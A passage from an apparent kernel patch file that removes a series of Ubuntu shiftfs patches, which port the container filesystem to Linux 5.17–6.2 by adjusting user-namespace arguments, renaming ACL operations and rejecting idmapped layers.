6038 -+ err = vfs_rmdir(&init_user_ns, loweri, lowerd);
6039 - else
6040 -- err = vfs_unlink(loweri, lowerd, NULL);
6041 -+ err = vfs_unlink(&init_user_ns, loweri, lowerd, NULL);
6042 - revert_creds(oldcred);
6043 -
6044 - if (!err) {
6045 -@@ -615,7 +621,8 @@ static int shiftfs_rmdir(struct inode *dir, struct dentry *dentry)
6046 - return shiftfs_rm(dir, dentry, true);
6047 - }
6048 -
6049 --static int shiftfs_rename(struct inode *olddir, struct dentry *old,
6050 -+static int shiftfs_rename(struct user_namespace *ns,
6051 -+ struct inode *olddir, struct dentry *old,
6052 - struct inode *newdir, struct dentry *new,
6053 - unsigned int flags)
6054 - {
6055 -@@ -625,6 +632,14 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old,
6056 - *trapd;
6057 - struct inode *loweri_dir_old = lowerd_dir_old->d_inode,
6058 - *loweri_dir_new = lowerd_dir_new->d_inode;
6059 -+ struct renamedata rd = {
6060 -+ .old_mnt_userns = ns,
6061 -+ .old_dir = loweri_dir_old,
6062 -+ .old_dentry = lowerd_old,
6063 -+ .new_mnt_userns = ns,
6064 -+ .new_dir = loweri_dir_new,
6065 -+ .new_dentry = lowerd_new,
6066 -+ };
6067 - int err = -EINVAL;
6068 - const struct cred *oldcred;
6069 -
6070 -@@ -634,8 +649,7 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old,
6071 - goto out_unlock;
6072 -
6073 - oldcred = shiftfs_override_creds(old->d_sb);
6074 -- err = vfs_rename(loweri_dir_old, lowerd_old, loweri_dir_new, lowerd_new,
6075 -- NULL, flags);
6076 -+ err = vfs_rename(&rd);
6077 - revert_creds(oldcred);
6078 -
6079 - shiftfs_copyattr(loweri_dir_old, olddir);
6080 -@@ -691,7 +705,7 @@ static struct dentry *shiftfs_lookup(struct inode *dir, struct dentry *dentry,
6081 - return d_splice_alias(inode, dentry);
6082 - }
6083 -
6084 --static int shiftfs_permission(struct inode *inode, int mask)
6085 -+static int shiftfs_permission(struct user_namespace *ns, struct inode *inode, int mask)
6086 - {
6087 - int err;
6088 - const struct cred *oldcred;
6089 -@@ -702,12 +716,12 @@ static int shiftfs_permission(struct inode *inode, int mask)
6090 - return -ECHILD;
6091 - }
6092 -
6093 -- err = generic_permission(inode, mask);
6094 -+ err = generic_permission(ns, inode, mask);
6095 - if (err)
6096 - return err;
6097 -
6098 - oldcred = shiftfs_override_creds(inode->i_sb);
6099 -- err = inode_permission(loweri, mask);
6100 -+ err = inode_permission(ns, loweri, mask);
6101 - revert_creds(oldcred);
6102 -
6103 - return err;
6104 -@@ -733,7 +747,8 @@ static int shiftfs_fiemap(struct inode *inode,
6105 - return err;
6106 - }
6107 -
6108 --static int shiftfs_tmpfile(struct inode *dir, struct dentry *dentry,
6109 -+static int shiftfs_tmpfile(struct user_namespace *ns,
6110 -+ struct inode *dir, struct dentry *dentry,
6111 - umode_t mode)
6112 - {
6113 - int err;
6114 -@@ -745,13 +760,13 @@ static int shiftfs_tmpfile(struct inode *dir, struct dentry *dentry,
6115 - return -EOPNOTSUPP;
6116 -
6117 - oldcred = shiftfs_override_creds(dir->i_sb);
6118 -- err = loweri->i_op->tmpfile(loweri, lowerd, mode);
6119 -+ err = loweri->i_op->tmpfile(ns, loweri, lowerd, mode);
6120 - revert_creds(oldcred);
6121 -
6122 - return err;
6123 - }
6124 -
6125 --static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
6126 -+static int shiftfs_setattr(struct user_namespace *ns, struct dentry *dentry, struct iattr *attr)
6127 - {
6128 - struct dentry *lowerd = dentry->d_fsdata;
6129 - struct inode *loweri = lowerd->d_inode;
6130 -@@ -761,7 +776,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
6131 - struct shiftfs_super_info *sbinfo = sb->s_fs_info;
6132 - int err;
6133 -
6134 -- err = setattr_prepare(dentry, attr);
6135 -+ err = setattr_prepare(ns, dentry, attr);
6136 - if (err)
6137 - return err;
6138 -
6139 -@@ -778,7 +793,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
6140 -
6141 - inode_lock(loweri);
6142 - oldcred = shiftfs_override_creds(dentry->d_sb);
6143 -- err = notify_change(lowerd, &newattr, NULL);
6144 -+ err = notify_change(ns, lowerd, &newattr, NULL);
6145 - revert_creds(oldcred);
6146 - inode_unlock(loweri);
6147 -
6148 -@@ -787,7 +802,8 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
6149 - return err;
6150 - }
6151 -
6152 --static int shiftfs_getattr(const struct path *path, struct kstat *stat,
6153 -+static int shiftfs_getattr(struct user_namespace *ns,
6154 -+ const struct path *path, struct kstat *stat,
6155 - u32 request_mask, unsigned int query_flags)
6156 - {
6157 - struct inode *inode = path->dentry->d_inode;
6158 -@@ -870,9 +886,9 @@ shift_acl_xattr_ids(struct user_namespace *from, struct user_namespace *to,
6159 - entry->e_id = cpu_to_le32(from_kuid(&init_user_ns, kuid));
6160 - break;
6161 - case ACL_GROUP:
6162 -- kgid = make_kgid(&init_user_ns, le32_to_cpu(entry->e_id));
6163 -+ kgid = make_kgid(from, le32_to_cpu(entry->e_id));
6164 - kgid = shift_kgid(from, to, kgid);
6165 -- entry->e_id = cpu_to_le32(from_kgid(&init_user_ns, kgid));
6166 -+ entry->e_id = cpu_to_le32(from_kgid(from, kgid));
6167 - break;
6168 - default:
6169 - break;
6170 -@@ -880,7 +896,8 @@ shift_acl_xattr_ids(struct user_namespace *from, struct user_namespace *to,
6171 - }
6172 - }
6173 -
6174 --static struct posix_acl *shiftfs_get_acl(struct inode *inode, int type)
6175 -+static struct posix_acl *
6176 -+shiftfs_get_acl(struct inode *inode, int type, bool rcu)
6177 - {
6178 - struct inode *loweri = inode->i_private;
6179 - const struct cred *oldcred;
6180 -@@ -890,6 +907,9 @@ static struct posix_acl *shiftfs_get_acl(struct inode *inode, int type)
6181 - int size;
6182 - int err;
6183 -
6184 -+ if (rcu)
6185 -+ return ERR_PTR(-ECHILD);
6186 -+
6187 - if (!IS_POSIXACL(loweri))
6188 - return NULL;
6189 -
6190 -@@ -941,6 +961,7 @@ shiftfs_posix_acl_xattr_get(const struct xattr_handler *handler,
6191 -
6192 - static int
6193 - shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
6194 -+ struct user_namespace *ns,
6195 - struct dentry *dentry, struct inode *inode,
6196 - const char *name, const void *value,
6197 - size_t size, int flags)
6198 -@@ -952,17 +973,17 @@ shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
6199 - return -EOPNOTSUPP;
6200 - if (handler->flags == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode))
6201 - return value ? -EACCES : 0;
6202 -- if (!inode_owner_or_capable(inode))
6203 -+ if (!inode_owner_or_capable(ns, inode))
6204 - return -EPERM;
6205 -
6206 - if (value) {
6207 - shift_acl_xattr_ids(inode->i_sb->s_user_ns,
6208 - loweri->i_sb->s_user_ns,
6209 - (void *)value, size);
6210 -- err = shiftfs_setxattr(dentry, inode, handler->name, value,
6211 -+ err = shiftfs_setxattr(ns, dentry, inode, handler->name, value,
6212 - size, flags);
6213 - } else {
6214 -- err = shiftfs_removexattr(dentry, handler->name);
6215 -+ err = shiftfs_removexattr(ns, dentry, handler->name);
6216 - }
6217 -
6218 - if (!err)
6219 ---
6220 -2.39.2
6221 -
6222 -From df4546ab77323af5bd40996244af7ade6c99054b Mon Sep 17 00:00:00 2001
6223 -From: Andrea Righi <andrea.righi@×××××××××.com>
6224 -Date: Wed, 13 Apr 2022 15:26:22 +0200
6225 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: always rely on init_user_ns
6226 -Cc: mpagano@g.o
6227 -
6228 -With the porting of shiftfs from 5.15 to 5.17 some filesystem-related
6229 -functions are now passing struct user_namespace as argument, however
6230 -shiftfs logic is still relying on the fact that these functions need to
6231 -use the main filesystem namespace.
6232 -
6233 -Make sure to always use init_user_ns to prevent breakage of system
6234 -components that rely on shiftfs.
6235 -
6236 -Without this fix lxd was showing some issues, like failing to create any
6237 -file inside a container when shiftfs was used (e.g., using zfs as
6238 -storage pool).
6239 -
6240 -Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
6241 -Signed-off-by: Mike Pagano <mpagano@g.o>
6242 ----
6243 - fs/shiftfs.c | 50 ++++++++++++++++++++++++--------------------------
6244 - 1 file changed, 24 insertions(+), 26 deletions(-)
6245 -
6246 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
6247 -index 76c54bc12018..a21624c529f0 100644
6248 ---- a/fs/shiftfs.c
6249 -+++ b/fs/shiftfs.c
6250 -@@ -308,8 +308,7 @@ static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode,
6251 - return p;
6252 - }
6253 -
6254 --static int shiftfs_setxattr(struct user_namespace *ns,
6255 -- struct dentry *dentry, struct inode *inode,
6256 -+static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
6257 - const char *name, const void *value,
6258 - size_t size, int flags)
6259 - {
6260 -@@ -318,7 +317,7 @@ static int shiftfs_setxattr(struct user_namespace *ns,
6261 - const struct cred *oldcred;
6262 -
6263 - oldcred = shiftfs_override_creds(dentry->d_sb);
6264 -- err = vfs_setxattr(ns, lowerd, name, value, size, flags);
6265 -+ err = vfs_setxattr(&init_user_ns, lowerd, name, value, size, flags);
6266 - revert_creds(oldcred);
6267 -
6268 - shiftfs_copyattr(lowerd->d_inode, inode);
6269 -@@ -363,7 +362,7 @@ static int shiftfs_removexattr(struct user_namespace *ns,
6270 - const struct cred *oldcred;
6271 -
6272 - oldcred = shiftfs_override_creds(dentry->d_sb);
6273 -- err = vfs_removexattr(ns, lowerd, name);
6274 -+ err = vfs_removexattr(&init_user_ns, lowerd, name);
6275 - revert_creds(oldcred);
6276 -
6277 - /* update c/mtime */
6278 -@@ -379,8 +378,8 @@ static int shiftfs_xattr_set(const struct xattr_handler *handler,
6279 - int flags)
6280 - {
6281 - if (!value)
6282 -- return shiftfs_removexattr(ns, dentry, name);
6283 -- return shiftfs_setxattr(ns, dentry, inode, name, value, size, flags);
6284 -+ return shiftfs_removexattr(&init_user_ns, dentry, name);
6285 -+ return shiftfs_setxattr(dentry, inode, name, value, size, flags);
6286 - }
6287 -
6288 - static int shiftfs_inode_test(struct inode *inode, void *data)
6289 -@@ -394,8 +393,7 @@ static int shiftfs_inode_set(struct inode *inode, void *data)
6290 - return 0;
6291 - }
6292 -
6293 --static int shiftfs_create_object(struct user_namespace *ns,
6294 -- struct inode *diri, struct dentry *dentry,
6295 -+static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
6296 - umode_t mode, const char *symlink,
6297 - struct dentry *hardlink, bool excl)
6298 - {
6299 -@@ -457,7 +455,7 @@ static int shiftfs_create_object(struct user_namespace *ns,
6300 - inode->i_state |= I_CREATING;
6301 - spin_unlock(&inode->i_lock);
6302 -
6303 -- inode_init_owner(ns, inode, diri, mode);
6304 -+ inode_init_owner(&init_user_ns, inode, diri, mode);
6305 - modei = inode->i_mode;
6306 - }
6307 -
6308 -@@ -468,22 +466,22 @@ static int shiftfs_create_object(struct user_namespace *ns,
6309 -
6310 - if (hardlink) {
6311 - lowerd_link = hardlink->d_fsdata;
6312 -- err = vfs_link(lowerd_link, ns, loweri_dir, lowerd_new, NULL);
6313 -+ err = vfs_link(lowerd_link, &init_user_ns, loweri_dir, lowerd_new, NULL);
6314 - } else {
6315 - switch (modei & S_IFMT) {
6316 - case S_IFDIR:
6317 -- err = vfs_mkdir(ns, loweri_dir, lowerd_new, modei);
6318 -+ err = vfs_mkdir(&init_user_ns, loweri_dir, lowerd_new, modei);
6319 - break;
6320 - case S_IFREG:
6321 -- err = vfs_create(ns, loweri_dir, lowerd_new, modei, excl);
6322 -+ err = vfs_create(&init_user_ns, loweri_dir, lowerd_new, modei, excl);
6323 - break;
6324 - case S_IFLNK:
6325 -- err = vfs_symlink(ns, loweri_dir, lowerd_new, symlink);
6326 -+ err = vfs_symlink(&init_user_ns, loweri_dir, lowerd_new, symlink);
6327 - break;
6328 - case S_IFSOCK:
6329 - /* fall through */
6330 - case S_IFIFO:
6331 -- err = vfs_mknod(ns, loweri_dir, lowerd_new, modei, 0);
6332 -+ err = vfs_mknod(&init_user_ns, loweri_dir, lowerd_new, modei, 0);
6333 - break;
6334 - default:
6335 - err = -EINVAL;
6336 -@@ -545,7 +543,7 @@ static int shiftfs_create(struct user_namespace *ns,
6337 - {
6338 - mode |= S_IFREG;
6339 -
6340 -- return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, excl);
6341 -+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, excl);
6342 - }
6343 -
6344 - static int shiftfs_mkdir(struct user_namespace *ns, struct inode *dir, struct dentry *dentry,
6345 -@@ -553,13 +551,13 @@ static int shiftfs_mkdir(struct user_namespace *ns, struct inode *dir, struct de
6346 - {
6347 - mode |= S_IFDIR;
6348 -
6349 -- return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false);
6350 -+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
6351 - }
6352 -
6353 - static int shiftfs_link(struct dentry *hardlink, struct inode *dir,
6354 - struct dentry *dentry)
6355 - {
6356 -- return shiftfs_create_object(&init_user_ns, dir, dentry, 0, NULL, hardlink, false);
6357 -+ return shiftfs_create_object(dir, dentry, 0, NULL, hardlink, false);
6358 - }
6359 -
6360 - static int shiftfs_mknod(struct user_namespace *ns,
6361 -@@ -569,13 +567,13 @@ static int shiftfs_mknod(struct user_namespace *ns,
6362 - if (!S_ISFIFO(mode) && !S_ISSOCK(mode))
6363 - return -EPERM;
6364 -
6365 -- return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false);
6366 -+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
6367 - }
6368 -
6369 - static int shiftfs_symlink(struct user_namespace *ns, struct inode *dir, struct dentry *dentry,
6370 - const char *symlink)
6371 - {
6372 -- return shiftfs_create_object(ns, dir, dentry, S_IFLNK, symlink, NULL, false);
6373 -+ return shiftfs_create_object(dir, dentry, S_IFLNK, symlink, NULL, false);
6374 - }
6375 -
6376 - static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
6377 -@@ -716,12 +714,12 @@ static int shiftfs_permission(struct user_namespace *ns, struct inode *inode, in
6378 - return -ECHILD;
6379 - }
6380 -
6381 -- err = generic_permission(ns, inode, mask);
6382 -+ err = generic_permission(&init_user_ns, inode, mask);
6383 - if (err)
6384 - return err;
6385 -
6386 - oldcred = shiftfs_override_creds(inode->i_sb);
6387 -- err = inode_permission(ns, loweri, mask);
6388 -+ err = inode_permission(&init_user_ns, loweri, mask);
6389 - revert_creds(oldcred);
6390 -
6391 - return err;
6392 -@@ -760,7 +758,7 @@ static int shiftfs_tmpfile(struct user_namespace *ns,
6393 - return -EOPNOTSUPP;
6394 -
6395 - oldcred = shiftfs_override_creds(dir->i_sb);
6396 -- err = loweri->i_op->tmpfile(ns, loweri, lowerd, mode);
6397 -+ err = loweri->i_op->tmpfile(&init_user_ns, loweri, lowerd, mode);
6398 - revert_creds(oldcred);
6399 -
6400 - return err;
6401 -@@ -776,7 +774,7 @@ static int shiftfs_setattr(struct user_namespace *ns, struct dentry *dentry, str
6402 - struct shiftfs_super_info *sbinfo = sb->s_fs_info;
6403 - int err;
6404 -
6405 -- err = setattr_prepare(ns, dentry, attr);
6406 -+ err = setattr_prepare(&init_user_ns, dentry, attr);
6407 - if (err)
6408 - return err;
6409 -
6410 -@@ -793,7 +791,7 @@ static int shiftfs_setattr(struct user_namespace *ns, struct dentry *dentry, str
6411 -
6412 - inode_lock(loweri);
6413 - oldcred = shiftfs_override_creds(dentry->d_sb);
6414 -- err = notify_change(ns, lowerd, &newattr, NULL);
6415 -+ err = notify_change(&init_user_ns, lowerd, &newattr, NULL);
6416 - revert_creds(oldcred);
6417 - inode_unlock(loweri);
6418 -
6419 -@@ -980,10 +978,10 @@ shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
6420 - shift_acl_xattr_ids(inode->i_sb->s_user_ns,
6421 - loweri->i_sb->s_user_ns,
6422 - (void *)value, size);
6423 -- err = shiftfs_setxattr(ns, dentry, inode, handler->name, value,
6424 -+ err = shiftfs_setxattr(dentry, inode, handler->name, value,
6425 - size, flags);
6426 - } else {
6427 -- err = shiftfs_removexattr(ns, dentry, handler->name);
6428 -+ err = shiftfs_removexattr(&init_user_ns, dentry, handler->name);
6429 - }
6430 -
6431 - if (!err)
6432 ---
6433 -2.39.2
6434 -
6435 -From 3d0ac0887b4a57d883d194a6836501fa77aaf6e3 Mon Sep 17 00:00:00 2001
6436 -From: Andrea Righi <andrea.righi@×××××××××.com>
6437 -Date: Wed, 27 Apr 2022 18:20:41 +0200
6438 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix missing include required in 5.18
6439 -Cc: mpagano@g.o
6440 -
6441 -Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
6442 -Signed-off-by: Mike Pagano <mpagano@g.o>
6443 ----
6444 - fs/shiftfs.c | 1 +
6445 - 1 file changed, 1 insertion(+)
6446 -
6447 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
6448 -index a21624c529f0..a5338dc6290c 100644
6449 ---- a/fs/shiftfs.c
6450 -+++ b/fs/shiftfs.c
6451 -@@ -21,6 +21,7 @@
6452 - #include <linux/posix_acl_xattr.h>
6453 - #include <linux/uio.h>
6454 - #include <linux/fiemap.h>
6455 -+#include <linux/pagemap.h>
6456 -
6457 - struct shiftfs_super_info {
6458 - struct vfsmount *mnt;
6459 ---
6460 -2.39.2
6461 -
6462 -From 6cbfd564842eeb9adb495a3de704d125418825f9 Mon Sep 17 00:00:00 2001
6463 -From: Andrea Righi <andrea.righi@×××××××××.com>
6464 -Date: Tue, 18 Oct 2022 17:09:12 +0200
6465 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support kernel 6.1
6466 -Cc: mpagano@g.o
6467 -
6468 -Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
6469 -Signed-off-by: Mike Pagano <mpagano@g.o>
6470 ----
6471 - fs/shiftfs.c | 5 ++---
6472 - 1 file changed, 2 insertions(+), 3 deletions(-)
6473 -
6474 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
6475 -index a5338dc6290c..34f080ae0fec 100644
6476 ---- a/fs/shiftfs.c
6477 -+++ b/fs/shiftfs.c
6478 -@@ -747,19 +747,18 @@ static int shiftfs_fiemap(struct inode *inode,
6479 - }
6480 -
6481 - static int shiftfs_tmpfile(struct user_namespace *ns,
6482 -- struct inode *dir, struct dentry *dentry,
6483 -+ struct inode *dir, struct file *file,
6484 - umode_t mode)
6485 - {
6486 - int err;
6487 - const struct cred *oldcred;
6488 -- struct dentry *lowerd = dentry->d_fsdata;
6489 - struct inode *loweri = dir->i_private;
6490 -
6491 - if (!loweri->i_op->tmpfile)
6492 - return -EOPNOTSUPP;
6493 -
6494 - oldcred = shiftfs_override_creds(dir->i_sb);
6495 -- err = loweri->i_op->tmpfile(&init_user_ns, loweri, lowerd, mode);
6496 -+ err = loweri->i_op->tmpfile(&init_user_ns, loweri, file, mode);
6497 - revert_creds(oldcred);
6498 -
6499 - return err;
6500 ---
6501 -2.39.2
6502 -
6503 -From a04c96a9da98441b39fd8425d19d2ae6d92c0bf9 Mon Sep 17 00:00:00 2001
6504 -From: Andrea Righi <andrea.righi@×××××××××.com>
6505 -Date: Wed, 4 Jan 2023 10:25:30 +0100
6506 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support linux 6.2
6507 -Cc: mpagano@g.o
6508 -
6509 -Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
6510 -Signed-off-by: Mike Pagano <mpagano@g.o>
6511 ----
6512 - fs/shiftfs.c | 8 ++++----
6513 - 1 file changed, 4 insertions(+), 4 deletions(-)
6514 -
6515 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
6516 -index 34f080ae0fec..cda74b614505 100644
6517 ---- a/fs/shiftfs.c
6518 -+++ b/fs/shiftfs.c
6519 -@@ -912,7 +912,7 @@ shiftfs_get_acl(struct inode *inode, int type, bool rcu)
6520 - return NULL;
6521 -
6522 - oldcred = shiftfs_override_creds(inode->i_sb);
6523 -- lower_acl = get_acl(loweri, type);
6524 -+ lower_acl = get_inode_acl(loweri, type);
6525 - revert_creds(oldcred);
6526 -
6527 - if (lower_acl && !IS_ERR(lower_acl)) {
6528 -@@ -1026,13 +1026,13 @@ static const struct inode_operations shiftfs_dir_inode_operations = {
6529 - .permission = shiftfs_permission,
6530 - .getattr = shiftfs_getattr,
6531 - .listxattr = shiftfs_listxattr,
6532 -- .get_acl = shiftfs_get_acl,
6533 -+ .get_inode_acl = shiftfs_get_acl,
6534 - };
6535 -
6536 - static const struct inode_operations shiftfs_file_inode_operations = {
6537 - .fiemap = shiftfs_fiemap,
6538 - .getattr = shiftfs_getattr,
6539 -- .get_acl = shiftfs_get_acl,
6540 -+ .get_inode_acl = shiftfs_get_acl,
6541 - .listxattr = shiftfs_listxattr,
6542 - .permission = shiftfs_permission,
6543 - .setattr = shiftfs_setattr,
6544 -@@ -1041,7 +1041,7 @@ static const struct inode_operations shiftfs_file_inode_operations = {
6545 -
6546 - static const struct inode_operations shiftfs_special_inode_operations = {
6547 - .getattr = shiftfs_getattr,
6548 -- .get_acl = shiftfs_get_acl,
6549 -+ .get_inode_acl = shiftfs_get_acl,
6550 - .listxattr = shiftfs_listxattr,
6551 - .permission = shiftfs_permission,
6552 - .setattr = shiftfs_setattr,
6553 ---
6554 -2.39.2
6555 -
6556 -From 63014ad24c3b175e503324461ded0a6a8ed12ab6 Mon Sep 17 00:00:00 2001
6557 -From: Alexander Mikhalitsyn <aleksandr.mikhalitsyn@×××××××××.com>
6558 -Date: Tue, 31 Jan 2023 17:11:48 +0100
6559 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix -EOVERFLOW inside the container
6560 -Cc: mpagano@g.o
6561 -
6562 -BugLink: https://bugs.launchpad.net/bugs/1990849
6563 -
6564 -We haven't supported idmapped layers with shiftfs and moreover, that makes
6565 -no sense. Once lower fs support idmapped mounts when shiftfs is not needed.
6566 -
6567 -Starting from linux-image-5.15.0-48-generic users started seeing EOVERFLOW
6568 -errors from the userspace side on a trivial fs operations inside the containers.
6569 -
6570 -This is caused by patches ("fs: tweak fsuidgid_has_mapping()"),
6571 -("fs: support mapped mounts of mapped filesystems"). These patches extends
6572 -and enables idmapped mounts support in Ubuntu kernel, but the problem is
6573 -that shiftfs was not properly ported.
6574 -
6575 -See also:
6576 -("namei: prepare for idmapped mounts")
6577 -https://lore.kernel.org/all/20210121131959.646623-15-christian.brauner@××××××.com/
6578 -("overlayfs: do not mount on top of idmapped mounts")
6579 -https://lore.kernel.org/all/20210121131959.646623-29-christian.brauner@××××××.com/
6580 -as a reference.
6581 -
6582 -This patch should be appied on top of kinetic/master-next and based on the
6583 -changes by Andrea Righi 4c934edc66 ("UBUNTU: SAUCE: shiftfs: always rely on init_user_ns")
6584 -
6585 -This commit together with 4c934edc66 ("UBUNTU: SAUCE: shiftfs: always rely on init_user_ns")
6586 -have to be ported to the jammy tree too.
6587 -
6588 -Fixes: d347e71d2c0 ("UBUNTU: [SAUCE] shiftfs: support kernel 5.15")
6589 -Reported-by: Thomas Parrott <thomas.parrott@×××××××××.com>
6590 -Signed-off-by: Alexander Mikhalitsyn <aleksandr.mikhalitsyn@×××××××××.com>
6591 -Acked-by: Tim Gardner <tim.gardner@×××××××××.com>
6592 -Acked-by: Andrea Righi <andrea.righi@×××××××××.com>
6593 -Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
6594 -Signed-off-by: Mike Pagano <mpagano@g.o>
6595 ----
6596 - fs/shiftfs.c | 16 +++++++++++++---
6597 - 1 file changed, 13 insertions(+), 3 deletions(-)
6598 -
6599 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
6600 -index cda74b614505..2664e1fb65d3 100644
6601 ---- a/fs/shiftfs.c
6602 -+++ b/fs/shiftfs.c
6603 -@@ -632,10 +632,10 @@ static int shiftfs_rename(struct user_namespace *ns,
6604 - struct inode *loweri_dir_old = lowerd_dir_old->d_inode,
6605 - *loweri_dir_new = lowerd_dir_new->d_inode;
6606 - struct renamedata rd = {
6607 -- .old_mnt_userns = ns,
6608 -+ .old_mnt_userns = &init_user_ns,
6609 - .old_dir = loweri_dir_old,
6610 - .old_dentry = lowerd_old,
6611 -- .new_mnt_userns = ns,
6612 -+ .new_mnt_userns = &init_user_ns,
6613 - .new_dir = loweri_dir_new,
6614 - .new_dentry = lowerd_new,
6615 - };
6616 -@@ -971,7 +971,7 @@ shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
6617 - return -EOPNOTSUPP;
6618 - if (handler->flags == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode))
6619 - return value ? -EACCES : 0;
6620 -- if (!inode_owner_or_capable(ns, inode))
6621 -+ if (!inode_owner_or_capable(&init_user_ns, inode))
6622 - return -EPERM;
6623 -
6624 - if (value) {
6625 -@@ -2015,6 +2015,16 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
6626 - goto out_put_path;
6627 - }
6628 -
6629 -+ /*
6630 -+ * It makes no sense to handle idmapped layers from shiftfs.
6631 -+ * And we didn't support it properly anyway.
6632 -+ */
6633 -+ if (is_idmapped_mnt(path.mnt)) {
6634 -+ err = -EINVAL;
6635 -+ pr_err("idmapped layers are currently not supported\n");
6636 -+ goto out_put_path;
6637 -+ }
6638 -+
6639 - sb->s_flags |= SB_POSIXACL;
6640 -
6641 - if (sbinfo->mark) {
6642 ---
6643 -2.39.2
6644 -